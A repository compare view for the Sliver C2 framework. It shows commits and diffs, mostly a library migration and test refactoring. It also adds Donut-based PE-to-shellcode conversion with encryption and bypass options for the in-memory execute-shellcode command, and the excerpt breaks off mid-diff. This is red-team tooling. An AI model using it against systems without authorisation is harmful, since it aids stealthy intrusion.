Compare commits

..
Author SHA1 Message Date
moloch-- 82d979436b Add support for additional wasm-donute options in windows execute-shellcode 2026-03-01 22:35:37 -08:00
Joe d2632e75bd Merge pull request #2199 from BishopFox/feature/go-tests2
Refactor unit tests to not write to main db
2026-03-01 09:47:23 -07:00
moloch-- a55831fb44 Go v1.25.7 2026-02-28 22:39:46 -08:00
moloch-- 39d4edec43 Tweak go-tests.sh 2026-02-28 22:08:59 -08:00
moloch-- bbdb08e7a4 Refactor go-tests.sh 2026-02-28 14:12:37 -08:00
moloch-- 39b488bd25 Refactor unit tests to not write to main db 2026-02-28 13:11:14 -08:00
Joe e7b8a24534 Merge pull request #2198 from BishopFox/feature/handler-recover
Feature/handler recover
2026-02-28 11:39:00 -07:00
moloch-- 17b9d611f8 Add panic/recover to mtls, dns, and wg handlers 2026-02-28 09:56:48 -08:00
moloch-- ed9075d065 Add better nil checks to various pb handlers 2026-02-28 09:52:40 -08:00
Joe 1f7221933d Merge pull request #2194 from BishopFox/crush/v2
Upgrade crush libs to v2
2026-02-25 09:22:24 -07:00
moloch-- 6333e0691a Upgrade crush libs to v2 2026-02-24 17:40:13 -08:00
moloch-- 3bbaf80510 v1.7.3 2026-02-23 20:49:28 -08:00
moloch-- 25726d8105 Revert wasm-donut to v0.0.3 2026-02-23 20:48:53 -08:00
moloch-- 67e9a7f37f Update wasm-donut to v0.0.6 2026-02-23 19:33:26 -08:00
moloch-- a5b6935da6 Tweak AGENTS.md 2026-02-23 07:10:28 -08:00
272 changed files with 35512 additions and 3335 deletions

No files matched your search

-23
View File
@@ -1,41 +1,18 @@
# Repository Guidelines
## Project Structure & Module Organization
- `client/` holds the CLI client and interactive commands.
- `server/` contains the server runtime, C2 logic, configs, and web assets.
- `implant/` is the implant runtime and transport implementations.
- `protobuf/` stores protobuf definitions and generated Go types.
- `util/` is shared helpers (crypto, encoders, minisign, etc.).
- `docs/sliver-docs/` is the Next.js documentation site and prebuild scripts.
- `vendor/` is the vendored Go dependency tree used by builds.
- Build outputs land in the repo root as `sliver-client*` and `sliver-server*`.
## Build, Test, and Development Commands
- `make` builds server + client using vendored modules and runs `go-assets.sh`.
- `make client` builds a CGO-free client; `make debug` keeps symbols.
- `make pb` regenerates protobuf stubs from `protobuf/`.
- `./go-tests.sh` runs the curated Go test suite with build tags.
- Docs site: `cd docs/sliver-docs && npm install && npm run dev` for local dev; `npm run build` for a static build.
- Go toolchain: the Makefile enforces Go >= 1.24.
## Coding Style & Naming Conventions
- Run `gofmt` on all Go code; keep package names lowercase and idiomatic.
- Avoid `CGO` and empty interfaces; prefer explicit types and interfaces.
- Do not import `server` packages from `client`.
- If `math/rand` is required, import it as `insecureRand` and avoid security use.
## Testing Guidelines
- Go tests follow standard `_test.go` naming within each package.
- Prefer `docker build --target test --build-arg GO_TESTS_FLAGS=--skip-generate .`
- Add or update tests when behavior changes; some server packages run longer tests.
## Commit & Pull Request Guidelines
- Commits must be signed for PRs to `master`; work in a feature branch.
- Commit subjects are short and imperative (e.g., "Fix ...", "Add ...", "Update ...", "Bump ...").
- Changes to `vendor/` should be in a distinct commit.
- PRs should link the tracking issue, note tests run, and confirm `gofmt` plus unit tests as applicable.
## Security Notes
- Default to secure configuration; fail closed rather than open.
- Avoid insecure algorithms (MD5/SHA1/AES-ECB); prefer AES-GCM and modern curves.
- Treat user input as untrusted: canonicalize paths and use restrictive file permissions.
+1 -1
View File
@@ -26,7 +26,7 @@ K := $(foreach exec,$(EXECUTABLES),\
GO_MAJOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f1)
GO_MINOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f2)
MIN_SUPPORTED_GO_MAJOR_VERSION = 1
MIN_SUPPORTED_GO_MINOR_VERSION = 24
MIN_SUPPORTED_GO_MINOR_VERSION = 25
GO_VERSION_VALIDATION_ERR_MSG = Golang version is not supported, please update to at least $(MIN_SUPPORTED_GO_MAJOR_VERSION).$(MIN_SUPPORTED_GO_MINOR_VERSION)
SLIVER_PUBLIC_KEY ?= RWTZPg959v3b7tLG7VzKHRB1/QT+d3c71Uzetfa44qAoX5rH7mGoQTTR
-1
View File
@@ -44,4 +44,3 @@ See the [wiki](https://sliver.sh/docs?name=Compile+from+Source).
### License - GPLv3
Sliver is licensed under [GPLv3](https://www.gnu.org/licenses/gpl-3.0.en.html), some sub-components may have separate licenses. See their respective subdirectories in this project for details.
+12 -2
View File
@@ -9,6 +9,7 @@ import (
"time"
"unicode/utf8"
tea "charm.land/bubbletea/v2"
"github.com/alecthomas/chroma/v2"
"github.com/alecthomas/chroma/v2/lexers"
"github.com/bishopfox/sliver/client/command/filesystem"
@@ -17,8 +18,9 @@ import (
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util/encoders"
tea "github.com/charmbracelet/bubbletea"
"github.com/charmbracelet/colorprofile"
"github.com/spf13/cobra"
"golang.org/x/term"
"google.golang.org/protobuf/proto"
)
@@ -151,7 +153,15 @@ func EditCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
func runEditor(content, filename string, lexer chroma.Lexer, lexerName string, showLineNumbers bool) (editorResult, error) {
model := newEditorModel(content, filename, lexer, lexerName, showLineNumbers)
program := tea.NewProgram(model, tea.WithAltScreen())
width, height := 80, 24
if w, h, err := term.GetSize(0); err == nil && w > 0 && h > 0 {
width, height = w, h
}
program := tea.NewProgram(
model,
tea.WithWindowSize(width, height),
tea.WithColorProfile(colorprofile.TrueColor),
)
finalModel, err := program.Run()
if err != nil {
return editorResult{}, err
+51 -31
View File
@@ -6,11 +6,11 @@ import (
"strings"
"unicode"
tea "charm.land/bubbletea/v2"
"charm.land/lipgloss/v2"
"github.com/alecthomas/chroma/v2"
"github.com/alecthomas/chroma/v2/formatters"
"github.com/alecthomas/chroma/v2/styles"
tea "github.com/charmbracelet/bubbletea"
"github.com/charmbracelet/lipgloss"
"github.com/charmbracelet/x/ansi"
"golang.org/x/term"
)
@@ -69,9 +69,12 @@ type editorModel struct {
}
var (
cursorStyle = lipgloss.NewStyle().Reverse(true)
statusStyle = lipgloss.NewStyle().Reverse(true)
lineStyle = lipgloss.NewStyle()
lineStyle = lipgloss.NewStyle()
)
const (
ansiReverseOn = "\x1b[7m"
ansiReverseOff = "\x1b[0m"
)
func newEditorModel(content, filename string, lexer chroma.Lexer, syntaxName string, showLineNumbers bool) *editorModel {
@@ -108,28 +111,29 @@ func (m *editorModel) Update(msg tea.Msg) (tea.Model, tea.Cmd) {
m.height = msg.Height
m.ensureCursorVisible()
return m, nil
case tea.KeyMsg:
case tea.KeyPressMsg:
if m.clearMessage {
m.message = ""
m.clearMessage = false
}
if msg.Type == tea.KeyCtrlC {
key := msg.Key()
if key.Mod.Contains(tea.ModCtrl) && key.Code == 'c' {
m.action = actionQuit
return m, tea.Quit
}
switch m.mode {
case modeCommand:
return m.handleCommand(msg)
return m.handleCommand(key)
case modeInsert:
return m.handleInsert(msg)
return m.handleInsert(key)
default:
return m.handleNormal(msg)
return m.handleNormal(key)
}
}
return m, nil
}
func (m *editorModel) View() string {
func (m *editorModel) View() tea.View {
if m.width == 0 || m.height == 0 {
if w, h, err := term.GetSize(0); err == nil && w > 0 && h > 0 {
m.width = w
@@ -152,19 +156,33 @@ func (m *editorModel) View() string {
}
if m.height < 2 {
return b.String()
return editorView(b.String())
}
b.WriteByte('\n')
b.WriteString(statusStyle.Width(m.width).Render(m.statusLine()))
b.WriteString(renderStatusBar(m.width, m.statusLine()))
if m.height < 3 {
return b.String()
return editorView(b.String())
}
b.WriteByte('\n')
b.WriteString(lineStyle.Width(m.width).Render(m.commandLine()))
return b.String()
return editorView(b.String())
}
func renderStatusBar(width int, text string) string {
return ansiReverseOn + lineStyle.Width(width).Render(text) + ansiReverseOff
}
func renderCursorCell(cell string) string {
return ansiReverseOn + cell + ansiReverseOff
}
func editorView(content string) tea.View {
v := tea.NewView(content)
v.AltScreen = true
return v
}
func (m *editorModel) result() editorResult {
@@ -176,8 +194,8 @@ func (m *editorModel) result() editorResult {
}
}
func (m *editorModel) handleCommand(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
switch msg.Type {
func (m *editorModel) handleCommand(key tea.Key) (tea.Model, tea.Cmd) {
switch key.Code {
case tea.KeyEsc:
m.mode = modeNormal
m.command = ""
@@ -196,14 +214,16 @@ func (m *editorModel) handleCommand(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
}
case tea.KeyBackspace:
m.command = popRune(m.command)
case tea.KeyRunes:
m.command += string(msg.Runes)
default:
if key.Text != "" {
m.command += key.Text
}
}
return m, nil
}
func (m *editorModel) handleInsert(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
switch msg.Type {
func (m *editorModel) handleInsert(key tea.Key) (tea.Model, tea.Cmd) {
switch key.Code {
case tea.KeyEsc:
m.mode = modeNormal
case tea.KeyEnter:
@@ -222,8 +242,8 @@ func (m *editorModel) handleInsert(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
m.moveDown()
case tea.KeyTab:
m.insertRune('\t')
case tea.KeyRunes:
for _, r := range msg.Runes {
default:
for _, r := range key.Text {
m.insertRune(r)
}
}
@@ -231,8 +251,8 @@ func (m *editorModel) handleInsert(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
return m, nil
}
func (m *editorModel) handleNormal(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
switch msg.Type {
func (m *editorModel) handleNormal(key tea.Key) (tea.Model, tea.Cmd) {
switch key.Code {
case tea.KeyEsc:
m.pending = 0
case tea.KeyLeft:
@@ -243,8 +263,8 @@ func (m *editorModel) handleNormal(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
m.moveUp()
case tea.KeyDown:
m.moveDown()
case tea.KeyRunes:
for _, r := range msg.Runes {
default:
for _, r := range key.Text {
if m.handleNormalRune(r) {
break
}
@@ -409,9 +429,9 @@ func (m *editorModel) renderLine(index int) string {
if cursor >= start && cursor <= start+contentWidth {
rel := cursor - start
if rel < len(visible) {
lineText = string(visible[:rel]) + cursorStyle.Render(string(visible[rel])) + string(visible[rel+1:])
lineText = string(visible[:rel]) + renderCursorCell(string(visible[rel])) + string(visible[rel+1:])
} else {
lineText = string(visible) + cursorStyle.Render(" ")
lineText = string(visible) + renderCursorCell(" ")
}
}
}
@@ -917,11 +937,11 @@ func (m *editorModel) applyCursor(rendered, highlighted string, line []rune, sta
}
if cursor == len(line) {
left := ansi.Cut(highlighted, start, cursor)
return left + cursorStyle.Render(" ")
return left + renderCursorCell(" ")
}
left := ansi.Cut(highlighted, start, cursor)
right := ansi.Cut(highlighted, cursor+1, end)
return left + cursorStyle.Render(string(line[cursor])) + right
return left + renderCursorCell(string(line[cursor])) + right
}
func (m *editorModel) executeSearch(pattern string) {
+8
View File
@@ -114,6 +114,14 @@ func Commands(con *console.SliverClient) []*cobra.Command {
f.BoolP("shikata-ga-nai", "S", false, "encode shellcode using shikata ga nai prior to execution")
f.StringP("architecture", "A", "amd64", "architecture of the shellcode: 386, amd64 (used with --shikata-ga-nai flag)")
f.Uint32P("iterations", "I", 1, "number of encoding iterations (used with --shikata-ga-nai flag)")
f.Uint32("shellcode-entropy", 1, "Shellcode entropy (Donut: 1=none, 2=random names, 3=random+encrypt) (windows PE input only)")
f.Bool("shellcode-compress", false, "Enable shellcode compression (aPLib) (windows PE input only)")
f.Uint32("shellcode-exitopt", 1, "Shellcode exit option (Donut: 1=exit thread, 2=exit process, 3=block) (windows PE input only)")
f.Uint32("shellcode-bypass", 3, "Shellcode bypass mode (Donut: 1=none, 2=abort, 3=continue) (windows PE input only)")
f.Uint32("shellcode-headers", 1, "Shellcode headers handling (Donut: 1=overwrite, 2=keep) (windows PE input only)")
f.Bool("shellcode-thread", false, "Run unmanaged EXE entrypoint as a new thread (Donut) (windows PE input only)")
f.Bool("shellcode-unicode", false, "Use Unicode command line for unmanaged DLL entrypoints (Donut) (windows PE input only)")
f.Uint32("shellcode-oep", 0, "Override original entry point (OEP) (Donut) (windows PE input only)")
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
})
+219 -1
View File
@@ -20,27 +20,44 @@ package exec
import (
"bufio"
"bytes"
"context"
"fmt"
"io"
"log"
"os"
"path/filepath"
"strings"
"github.com/Binject/debug/pe"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
wasmdonut "github.com/sliverarmory/wasm-donut"
"github.com/spf13/cobra"
"golang.org/x/term"
"google.golang.org/protobuf/proto"
)
const (
defaultExecuteShellcodeDonutEntropy = wasmdonut.DonutEntropyNone
defaultExecuteShellcodeDonutCompress = wasmdonut.DonutCompressNone
defaultExecuteShellcodeDonutExitOpt = wasmdonut.DonutExitThread
defaultExecuteShellcodeDonutBypass = wasmdonut.DonutBypassContinue
defaultExecuteShellcodeDonutHeaders = wasmdonut.DonutHeadersOverwrite
imageFileDLLMask = 0x2000
)
// ExecuteShellcodeCmd - Execute shellcode in-memory.
func ExecuteShellcodeCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
targetName := activeTargetName(session, beacon)
targetOS := activeTargetOS(session, beacon)
targetArch := activeTargetArch(session, beacon)
rwxPages, _ := cmd.Flags().GetBool("rwx-pages")
interactive, _ := cmd.Flags().GetBool("interactive")
@@ -60,6 +77,27 @@ func ExecuteShellcodeCmd(cmd *cobra.Command, con *console.SliverClient, args []s
con.PrintErrorf("Cannot use both `--pid` and `--interactive`\n")
return
}
shellcodeConfig, shellcodeFlagsChanged, err := parseExecuteShellcodeFlags(cmd)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
shouldConvertPE, isDLLHint := shouldConvertExecuteShellcodePE(shellcodePath, shellcodeFlagsChanged)
if shouldConvertPE {
if targetOS != "windows" {
con.PrintErrorf("PE input and --shellcode-* options are only supported for Windows targets in execute-shellcode\n")
return
}
con.PrintInfof("Converting PE input to shellcode ...\n")
shellcodeBin, err = donutShellcodeFromPE(shellcodeBin, targetArch, isDLLHint, shellcodeConfig)
if err != nil {
con.PrintErrorf("Failed to convert PE input to shellcode: %s\n", err)
return
}
}
shikataGaNai, _ := cmd.Flags().GetBool("shikata-ga-nai")
if shikataGaNai {
if !rwxPages {
@@ -96,7 +134,7 @@ func ExecuteShellcodeCmd(cmd *cobra.Command, con *console.SliverClient, args []s
return
}
ctrl := make(chan bool)
msg := fmt.Sprintf("Sending shellcode to %s ...", session.GetName())
msg := fmt.Sprintf("Sending shellcode to %s ...", targetName)
con.SpinUntil(msg, ctrl)
shellcodeTask, err := con.Rpc.Task(context.Background(), &sliverpb.TaskReq{
Data: shellcodeBin,
@@ -135,6 +173,186 @@ func PrintExecuteShellcode(task *sliverpb.Task, con *console.SliverClient) {
}
}
func parseExecuteShellcodeFlags(cmd *cobra.Command) (*clientpb.ShellcodeConfig, bool, error) {
shellcodeEntropy, _ := cmd.Flags().GetUint32("shellcode-entropy")
shellcodeCompressEnabled, _ := cmd.Flags().GetBool("shellcode-compress")
shellcodeExitOpt, _ := cmd.Flags().GetUint32("shellcode-exitopt")
shellcodeBypass, _ := cmd.Flags().GetUint32("shellcode-bypass")
shellcodeHeaders, _ := cmd.Flags().GetUint32("shellcode-headers")
shellcodeThread, _ := cmd.Flags().GetBool("shellcode-thread")
shellcodeUnicode, _ := cmd.Flags().GetBool("shellcode-unicode")
shellcodeOEP, _ := cmd.Flags().GetUint32("shellcode-oep")
anyChanged := cmd.Flags().Changed("shellcode-entropy") ||
cmd.Flags().Changed("shellcode-compress") ||
cmd.Flags().Changed("shellcode-exitopt") ||
cmd.Flags().Changed("shellcode-bypass") ||
cmd.Flags().Changed("shellcode-headers") ||
cmd.Flags().Changed("shellcode-thread") ||
cmd.Flags().Changed("shellcode-unicode") ||
cmd.Flags().Changed("shellcode-oep")
if shellcodeEntropy < 1 || shellcodeEntropy > 3 {
return nil, false, fmt.Errorf("shellcode-entropy must be between 1 and 3")
}
if shellcodeExitOpt < 1 || shellcodeExitOpt > 3 {
return nil, false, fmt.Errorf("shellcode-exitopt must be between 1 and 3")
}
if shellcodeBypass < 1 || shellcodeBypass > 3 {
return nil, false, fmt.Errorf("shellcode-bypass must be between 1 and 3")
}
if shellcodeHeaders < 1 || shellcodeHeaders > 2 {
return nil, false, fmt.Errorf("shellcode-headers must be 1 or 2")
}
shellcodeCompress := uint32(1)
if shellcodeCompressEnabled {
shellcodeCompress = 2
}
return &clientpb.ShellcodeConfig{
Entropy: shellcodeEntropy,
Compress: shellcodeCompress,
ExitOpt: shellcodeExitOpt,
Bypass: shellcodeBypass,
Headers: shellcodeHeaders,
Thread: shellcodeThread,
Unicode: shellcodeUnicode,
OEP: shellcodeOEP,
}, anyChanged, nil
}
func shouldConvertExecuteShellcodePE(shellcodePath string, shellcodeFlagsChanged bool) (bool, bool) {
ext := strings.ToLower(filepath.Ext(shellcodePath))
isPEByExt := ext == ".exe" || ext == ".dll"
return isPEByExt || shellcodeFlagsChanged, ext == ".dll"
}
func activeTargetName(session *clientpb.Session, beacon *clientpb.Beacon) string {
if session != nil {
return session.GetName()
}
if beacon != nil {
return beacon.GetName()
}
return "target"
}
func activeTargetOS(session *clientpb.Session, beacon *clientpb.Beacon) string {
if session != nil {
return strings.ToLower(session.GetOS())
}
if beacon != nil {
return strings.ToLower(beacon.GetOS())
}
return ""
}
func activeTargetArch(session *clientpb.Session, beacon *clientpb.Beacon) string {
if session != nil {
return session.GetArch()
}
if beacon != nil {
return beacon.GetArch()
}
return ""
}
type executeShellcodeDonutOptions struct {
entropy int
compress int
exitOpt int
bypass int
headers int
thread bool
unicode bool
oep uint32
}
func normalizeExecuteShellcodeDonutConfig(config *clientpb.ShellcodeConfig) executeShellcodeDonutOptions {
opts := executeShellcodeDonutOptions{
entropy: defaultExecuteShellcodeDonutEntropy,
compress: defaultExecuteShellcodeDonutCompress,
exitOpt: defaultExecuteShellcodeDonutExitOpt,
bypass: defaultExecuteShellcodeDonutBypass,
headers: defaultExecuteShellcodeDonutHeaders,
}
if config == nil {
return opts
}
if config.Entropy >= 1 && config.Entropy <= 3 {
opts.entropy = int(config.Entropy)
}
if config.Compress >= 1 && config.Compress <= 2 {
opts.compress = int(config.Compress)
}
if config.ExitOpt >= 1 && config.ExitOpt <= 3 {
opts.exitOpt = int(config.ExitOpt)
}
if config.Bypass >= 1 && config.Bypass <= 3 {
opts.bypass = int(config.Bypass)
}
if config.Headers >= 1 && config.Headers <= 2 {
opts.headers = int(config.Headers)
}
opts.thread = config.Thread
opts.unicode = config.Unicode
if config.OEP > 0 {
opts.oep = config.OEP
}
return opts
}
func donutShellcodeFromPE(data []byte, arch string, isDLLHint bool, config *clientpb.ShellcodeConfig) ([]byte, error) {
peFile, err := pe.NewFile(bytes.NewReader(data))
if err != nil {
return nil, err
}
isDLL := isDLLHint || ((peFile.FileHeader.Characteristics & imageFileDLLMask) != 0)
ext := ".exe"
if isDLL {
ext = ".dll"
}
opts := normalizeExecuteShellcodeDonutConfig(config)
result, err := wasmdonut.Generate(context.Background(), data, ext, wasmdonut.GenerateOptions{
Ext: ext,
Arch: getExecuteShellcodeDonutArch(arch),
Bypass: opts.bypass,
Headers: opts.headers,
Entropy: opts.entropy,
Compress: opts.compress,
ExitOpt: opts.exitOpt,
Thread: opts.thread,
Unicode: opts.unicode,
OEP: opts.oep,
})
if err != nil {
return nil, err
}
return addExecuteShellcodeStackCheck(result.Loader), nil
}
func getExecuteShellcodeDonutArch(arch string) int {
donutArch := wasmdonut.DonutArchX84
switch strings.ToLower(arch) {
case "x32", "x86", "386":
donutArch = wasmdonut.DonutArchX86
case "x64", "amd64":
donutArch = wasmdonut.DonutArchX64
case "x84":
donutArch = wasmdonut.DonutArchX84
}
return donutArch
}
func addExecuteShellcodeStackCheck(shellcode []byte) []byte {
stackCheckPrologue := []byte{
0x48, 0x83, 0xE4, 0xF0, // and rsp,0xfffffffffffffff0
0x48, 0x83, 0xC4, 0x08, // add rsp,0x8
}
return append(stackCheckPrologue, shellcode...)
}
func executeInteractive(cmd *cobra.Command, hostProc string, shellcode []byte, rwxPages bool, con *console.SliverClient) {
// Check active session
session := con.ActiveTarget.GetSessionInteractive()
@@ -0,0 +1,100 @@
package exec
import (
"testing"
"github.com/spf13/cobra"
)
func TestParseExecuteShellcodeFlagsDefaults(t *testing.T) {
cmd := newExecuteShellcodeFlagsTestCommand(t)
cfg, changed, err := parseExecuteShellcodeFlags(cmd)
if err != nil {
t.Fatalf("parseExecuteShellcodeFlags returned error: %v", err)
}
if changed {
t.Fatalf("expected changed=false with defaults")
}
if cfg == nil {
t.Fatalf("expected non-nil config")
}
if cfg.Entropy != 1 || cfg.Compress != 1 || cfg.ExitOpt != 1 || cfg.Bypass != 3 || cfg.Headers != 1 {
t.Fatalf("unexpected defaults: %+v", cfg)
}
if cfg.Thread || cfg.Unicode || cfg.OEP != 0 {
t.Fatalf("unexpected default bool/OEP values: %+v", cfg)
}
}
func TestParseExecuteShellcodeFlagsChanged(t *testing.T) {
cmd := newExecuteShellcodeFlagsTestCommand(t)
if err := cmd.Flags().Set("shellcode-entropy", "2"); err != nil {
t.Fatalf("set shellcode-entropy: %v", err)
}
if err := cmd.Flags().Set("shellcode-compress", "true"); err != nil {
t.Fatalf("set shellcode-compress: %v", err)
}
if err := cmd.Flags().Set("shellcode-thread", "true"); err != nil {
t.Fatalf("set shellcode-thread: %v", err)
}
cfg, changed, err := parseExecuteShellcodeFlags(cmd)
if err != nil {
t.Fatalf("parseExecuteShellcodeFlags returned error: %v", err)
}
if !changed {
t.Fatalf("expected changed=true")
}
if cfg.Entropy != 2 || cfg.Compress != 2 || !cfg.Thread {
t.Fatalf("unexpected changed config: %+v", cfg)
}
}
func TestParseExecuteShellcodeFlagsValidation(t *testing.T) {
cmd := newExecuteShellcodeFlagsTestCommand(t)
if err := cmd.Flags().Set("shellcode-bypass", "9"); err != nil {
t.Fatalf("set shellcode-bypass: %v", err)
}
if _, _, err := parseExecuteShellcodeFlags(cmd); err == nil {
t.Fatalf("expected validation error for shellcode-bypass")
}
}
func TestShouldConvertExecuteShellcodePE(t *testing.T) {
testCases := []struct {
name string
path string
flagsChanged bool
wantConvert bool
wantDLL bool
}{
{name: "exe by extension", path: "/tmp/payload.exe", flagsChanged: false, wantConvert: true, wantDLL: false},
{name: "dll by extension", path: "/tmp/payload.dll", flagsChanged: false, wantConvert: true, wantDLL: true},
{name: "raw shellcode", path: "/tmp/payload.bin", flagsChanged: false, wantConvert: false, wantDLL: false},
{name: "flags force conversion", path: "/tmp/payload.bin", flagsChanged: true, wantConvert: true, wantDLL: false},
}
for _, tc := range testCases {
t.Run(tc.name, func(t *testing.T) {
gotConvert, gotDLL := shouldConvertExecuteShellcodePE(tc.path, tc.flagsChanged)
if gotConvert != tc.wantConvert || gotDLL != tc.wantDLL {
t.Fatalf("unexpected result convert=%v dll=%v, expected convert=%v dll=%v", gotConvert, gotDLL, tc.wantConvert, tc.wantDLL)
}
})
}
}
func newExecuteShellcodeFlagsTestCommand(t *testing.T) *cobra.Command {
t.Helper()
cmd := &cobra.Command{Use: "execute-shellcode"}
cmd.Flags().Uint32("shellcode-entropy", 1, "")
cmd.Flags().Bool("shellcode-compress", false, "")
cmd.Flags().Uint32("shellcode-exitopt", 1, "")
cmd.Flags().Uint32("shellcode-bypass", 3, "")
cmd.Flags().Uint32("shellcode-headers", 1, "")
cmd.Flags().Bool("shellcode-thread", false, "")
cmd.Flags().Bool("shellcode-unicode", false, "")
cmd.Flags().Uint32("shellcode-oep", 0, "")
return cmd
}
+7 -5
View File
@@ -24,11 +24,12 @@ package help
import (
"fmt"
"image/color"
"strings"
"charm.land/lipgloss/v2"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/client/theme"
"github.com/charmbracelet/lipgloss"
)
const (
@@ -436,8 +437,9 @@ On Windows, escaping is disabled. Instead, '\\' is treated as path separator.`
mountHelp = `[[.Bold]]Command:[[.Normal]] mount
[[.Bold]]About:[[.Normal]] Displays information about mounted drives on the system, including mount point, space metrics, and filesystem.`
executeShellcodeHelp = `[[.Bold]]Command:[[.Normal]] execute-shellcode [local path to raw shellcode]
[[.Bold]]About:[[.Normal]] Executes the given shellcode in the implant's process.
executeShellcodeHelp = `[[.Bold]]Command:[[.Normal]] execute-shellcode [local path to raw shellcode or PE]
[[.Bold]]About:[[.Normal]] Executes the given shellcode in the implant's process. On Windows targets, PE input can be
converted with Donut before execution and tuned with [[.Bold]]--shellcode-*[[.Normal]] flags.
[[.Bold]][[.Underline]]++ Shellcode ++[[.Normal]]
Shellcode files should be binary encoded, you can generate Sliver shellcode files with the generate command:
@@ -1432,14 +1434,14 @@ type helpStyleState struct {
bold bool
underline bool
fgSet bool
fg lipgloss.Color
fg color.Color
}
func (s *helpStyleState) reset() {
s.bold = false
s.underline = false
s.fgSet = false
s.fg = ""
s.fg = nil
}
func (s *helpStyleState) apply(token string) bool {
+54 -44
View File
@@ -5,10 +5,10 @@ import (
"strconv"
"strings"
tea "charm.land/bubbletea/v2"
"charm.land/lipgloss/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/util"
tea "github.com/charmbracelet/bubbletea"
"github.com/charmbracelet/lipgloss"
"golang.org/x/term"
)
@@ -62,9 +62,12 @@ type editorModel struct {
}
var (
cursorStyle = lipgloss.NewStyle().Reverse(true)
statusStyle = lipgloss.NewStyle().Reverse(true)
lineStyle = lipgloss.NewStyle()
lineStyle = lipgloss.NewStyle()
)
const (
ansiReverseOn = "\x1b[7m"
ansiReverseOff = "\x1b[0m"
)
func modifiedStyle() lipgloss.Style {
@@ -72,11 +75,6 @@ func modifiedStyle() lipgloss.Style {
return console.StyleWarning
}
func modifiedCursorStyle() lipgloss.Style {
// Read from the global console theme so theme.yaml changes are reflected.
return console.StyleWarning.Copy().Reverse(true)
}
func newEditorModel(data []byte, filename string, offset int) *editorModel {
copyData := append([]byte(nil), data...)
model := &editorModel{
@@ -114,30 +112,31 @@ func (m *editorModel) Update(msg tea.Msg) (tea.Model, tea.Cmd) {
m.height = msg.Height
m.ensureCursorVisible()
return m, nil
case tea.KeyMsg:
case tea.KeyPressMsg:
if m.clearMessage {
m.message = ""
m.clearMessage = false
}
if msg.Type == tea.KeyCtrlC {
key := msg.Key()
if key.Mod.Contains(tea.ModCtrl) && key.Code == 'c' {
m.action = actionQuit
return m, tea.Quit
}
switch m.mode {
case modeCommand:
return m.handleCommand(msg)
return m.handleCommand(key)
case modeHexEdit:
return m.handleHexEdit(msg)
return m.handleHexEdit(key)
case modeASCIIEdit:
return m.handleASCIIEdit(msg)
return m.handleASCIIEdit(key)
default:
return m.handleNormal(msg)
return m.handleNormal(key)
}
}
return m, nil
}
func (m *editorModel) View() string {
func (m *editorModel) View() tea.View {
if m.width == 0 || m.height == 0 {
if w, h, err := term.GetSize(0); err == nil && w > 0 && h > 0 {
m.width = w
@@ -160,19 +159,33 @@ func (m *editorModel) View() string {
}
if m.height < 2 {
return b.String()
return hexEditorView(b.String())
}
b.WriteByte('\n')
b.WriteString(statusStyle.Width(m.width).Render(m.statusLine()))
b.WriteString(renderStatusBar(m.width, m.statusLine()))
if m.height < 3 {
return b.String()
return hexEditorView(b.String())
}
b.WriteByte('\n')
b.WriteString(lineStyle.Width(m.width).Render(m.commandLine()))
return b.String()
return hexEditorView(b.String())
}
func renderStatusBar(width int, text string) string {
return ansiReverseOn + lineStyle.Width(width).Render(text) + ansiReverseOff
}
func renderCursorCell(cell string) string {
return ansiReverseOn + cell + ansiReverseOff
}
func hexEditorView(content string) tea.View {
v := tea.NewView(content)
v.AltScreen = true
return v
}
func (m *editorModel) result() editorResult {
@@ -185,8 +198,8 @@ func (m *editorModel) result() editorResult {
}
}
func (m *editorModel) handleCommand(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
switch msg.Type {
func (m *editorModel) handleCommand(key tea.Key) (tea.Model, tea.Cmd) {
switch key.Code {
case tea.KeyEsc:
m.mode = modeNormal
m.command = ""
@@ -201,14 +214,16 @@ func (m *editorModel) handleCommand(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
}
case tea.KeyBackspace:
m.command = popRune(m.command)
case tea.KeyRunes:
m.command += string(msg.Runes)
default:
if key.Text != "" {
m.command += key.Text
}
}
return m, nil
}
func (m *editorModel) handleHexEdit(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
switch msg.Type {
func (m *editorModel) handleHexEdit(key tea.Key) (tea.Model, tea.Cmd) {
switch key.Code {
case tea.KeyEsc:
m.mode = modeNormal
m.nibbleSet = false
@@ -230,8 +245,8 @@ func (m *editorModel) handleHexEdit(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
case tea.KeyDown:
m.moveDown()
m.nibbleSet = false
case tea.KeyRunes:
for _, r := range msg.Runes {
default:
for _, r := range key.Text {
val, ok := hexNibble(r)
if !ok {
continue
@@ -250,8 +265,8 @@ func (m *editorModel) handleHexEdit(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
return m, nil
}
func (m *editorModel) handleASCIIEdit(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
switch msg.Type {
func (m *editorModel) handleASCIIEdit(key tea.Key) (tea.Model, tea.Cmd) {
switch key.Code {
case tea.KeyEsc:
m.mode = modeNormal
case tea.KeyLeft:
@@ -262,8 +277,8 @@ func (m *editorModel) handleASCIIEdit(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
